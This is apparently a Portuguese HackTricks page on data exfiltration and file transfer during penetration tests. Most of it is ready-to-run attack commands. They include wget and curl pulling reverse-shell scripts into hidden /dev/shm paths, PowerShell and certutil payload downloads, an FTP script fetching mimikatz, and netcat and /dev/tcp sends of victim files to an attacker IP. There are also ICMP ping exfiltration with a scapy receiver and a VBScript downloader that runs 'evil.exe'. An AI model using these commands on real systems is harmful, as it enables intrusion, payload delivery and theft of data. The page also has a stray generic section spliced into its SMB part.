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# Exfiltração
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< details >
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< summary > < strong > Aprenda hacking AWS do zero ao herói com< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
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Outras maneiras de apoiar o HackTricks:
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* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA** ](https://github.com/sponsors/carlospolop )!
* Obtenha o [**swag oficial PEASS & HackTricks** ](https://peass.creator-spring.com )
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* Descubra [**A Família PEASS** ](https://opensea.io/collection/the-peass-family ), nossa coleção exclusiva de [**NFTs** ](https://opensea.io/collection/the-peass-family )
* **Junte-se ao** 💬 [**grupo Discord** ](https://discord.gg/hRep4RUj7f ) ou ao [**grupo telegram** ](https://t.me/peass ) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live** ](https://twitter.com/hacktricks_live )**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) e [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) repositórios do github.
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< / details >
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**Grupo de Segurança Try Hard**
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< figure > < img src = "/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
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{% embed url="https://discord.gg/tryhardsecurity" %}
***
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## Domínios comumente permitidos para exfiltrar informações
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Verifique [https://lots-project.com/ ](https://lots-project.com/ ) para encontrar domínios comumente permitidos que podem ser abusados
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## Copiar e Colar Base64
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**Linux**
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```bash
base64 -w0 < file > #Encode file
base64 -d file #Decode file
```
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**Windows**
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```
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certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
```
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## HTTP
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**Linux**
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```bash
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD
```
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**Windows**
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```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```
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### Upload de arquivos
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* [**SimpleHttpServerWithFileUploads** ](https://gist.github.com/UniIsland/3346170 )
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* [**SimpleHttpServer printing GET and POSTs (also headers)** ](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149 )
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* Módulo Python [uploadserver ](https://pypi.org/project/uploadserver/ ):
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```bash
# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
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# With basic auth:
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# python3 -m uploadserver --basic-auth hello:world
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# Send a file
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curl -X POST http://HOST/upload -H -F 'files=@file.txt'
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# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
```
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### **Servidor HTTPS**
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```python
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
# python simple-https-server.py
# then in your browser, visit:
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# https://localhost:443
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### PYTHON 2
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import BaseHTTPServer, SimpleHTTPServer
import ssl
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httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
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httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
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###
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### PYTHON3
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from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
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###
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### USING FLASK
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from flask import Flask, redirect, request
from urllib.parse import quote
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app = Flask(__name__)
@app .route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
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###
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```
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## FTP
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### Servidor FTP (python)
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```bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```
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### Servidor FTP (NodeJS)
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```
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sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```
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### Servidor FTP (pure-ftp)
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```bash
apt-get update & & apt-get install pure-ftp
```
```bash
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
```
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### **Cliente** Windows
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```bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt
```
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## SMB
Kali como servidor
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```bash
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```
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Ou crie um compartilhamento smb **usando samba** :
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```bash
apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
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comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
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#Start samba
service smbd restart
```
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Windows
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## Exfiltração de Dados
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### Ferramentas e Técnicas
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#### 1. **FTP**
- **Descrição:** O FTP (File Transfer Protocol) é um protocolo padrão para transferência de arquivos em redes TCP/IP.
- **Como Usar:** Use um cliente FTP para enviar arquivos para um servidor remoto controlado pelo atacante.
#### 2. **Web Services**
- **Descrição:** Serviços da web como Dropbox, Google Drive e OneDrive podem ser usados para exfiltrar dados.
- **Como Usar:** Faça o upload de arquivos sensíveis para uma conta de serviço da web controlada pelo atacante.
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#### 3. **Email**
- **Descrição:** O email pode ser usado para enviar dados confidenciais para um endereço controlado pelo atacante.
- **Como Usar:** Anexe arquivos sensíveis a um email e envie para o endereço designado.
#### 4. **DNS**
- **Descrição:** O DNS (Domain Name System) pode ser usado para exfiltrar dados através de solicitações DNS maliciosas.
- **Como Usar:** Configure um servidor DNS controlado pelo atacante para receber dados exfiltrados.
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### Considerações Finais
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A exfiltração de dados é uma etapa crítica em um teste de invasão, pois permite que um atacante mova informações confidenciais para fora da rede comprometida. É importante estar ciente das diferentes ferramentas e técnicas disponíveis para exfiltrar dados de um sistema Windows.
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```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:
```
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## SCP
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O atacante precisa ter o SSHd em execução.
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```bash
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scp < username > @< Attacker_IP > :< directory > /< filename >
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```
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## SSHFS
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Se o alvo tiver SSH, o atacante pode montar um diretório do alvo para o atacante.
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```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions < Target username > @< Target IP address > :< Full path to folder > / /mnt/sshfs/
```
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## NC
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```bash
nc -lvnp 4444 > new_file
nc -vn < IP > 4444 < exfil_file
```
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## /dev/tcp
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### Baixar arquivo da vítima
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```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```
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### Enviar arquivo para a vítima
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```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat < & 6 > file.txt
```
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Agradecimentos a ** @BinaryShadow \_**
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## **ICMP**
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```bash
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# To exfiltrate the content of a file via pings you can do:
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xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line < IP attacker > ; done
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#This will 4bytes per ping packet (you could probably increase this until 16)
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```
```python
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
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if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")
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sniff(iface="tun0", prn=process_packet)
```
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## **SMTP**
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Se você pode enviar dados para um servidor SMTP, você pode criar um SMTP para receber os dados com python:
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```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
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## TFTP
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Por padrão no XP e 2003 (em outros sistemas é necessário adicioná-lo explicitamente durante a instalação)
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No Kali, **inicie o servidor TFTP** :
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```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
```
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**Servidor TFTP em python:**
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```bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p < PORT > < IFACE > < FOLDER >
```
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No **alvo** , conecte-se ao servidor Kali:
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```bash
tftp -i < KALI-IP > get nc.exe
```
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## PHP
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Baixe um arquivo com um oneliner PHP:
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```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?> " > down2.php
```
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## VBScript
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VBScript (Visual Basic Scripting Edition) é uma linguagem de script da Microsoft baseada em Visual Basic. É comumente usada para automatizar tarefas em sistemas Windows e pode ser usada para exfiltração de dados de forma sigilosa.
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```bash
Attacker> python -m SimpleHTTPServer 80
```
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**Vítima**
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```bash
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```
```bash
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
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## Debug.exe
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O programa `debug.exe` não só permite a inspeção de binários, mas também tem a **capacidade de reconstruí-los a partir de hex** . Isso significa que, fornecendo um hex de um binário, o `debug.exe` pode gerar o arquivo binário. No entanto, é importante observar que o debug.exe tem uma **limitação de montagem de arquivos de até 64 kb de tamanho** .
```bash
# Reduce the size
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upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
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Em seguida, copie e cole o texto no windows-shell e um arquivo chamado nc.exe será criado.
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html ](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html )
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## DNS
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* [https://github.com/62726164/dns-exfil ](https://github.com/62726164/dns-exfil )
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**Try Hard Security Group**
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< figure > < img src = "/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
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{% embed url="https://discord.gg/tryhardsecurity" %}
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< details >
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< summary > < strong > Aprenda hacking AWS do zero ao herói com< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2023-12-30 22:28:51 +00:00
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Outras maneiras de apoiar o HackTricks:
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2024-03-26 15:44:24 +00:00
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** , verifique os [**PLANOS DE ASSINATURA** ](https://github.com/sponsors/carlospolop )!
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* Adquira o [**swag oficial PEASS & HackTricks** ](https://peass.creator-spring.com )
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* Descubra [**A Família PEASS** ](https://opensea.io/collection/the-peass-family ), nossa coleção exclusiva de [**NFTs** ](https://opensea.io/collection/the-peass-family )
* **Junte-se ao** 💬 [**grupo Discord** ](https://discord.gg/hRep4RUj7f ) ou ao [**grupo telegram** ](https://t.me/peass ) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live** ](https://twitter.com/hacktricks_live )**.**
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* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) e [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ).
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< / details >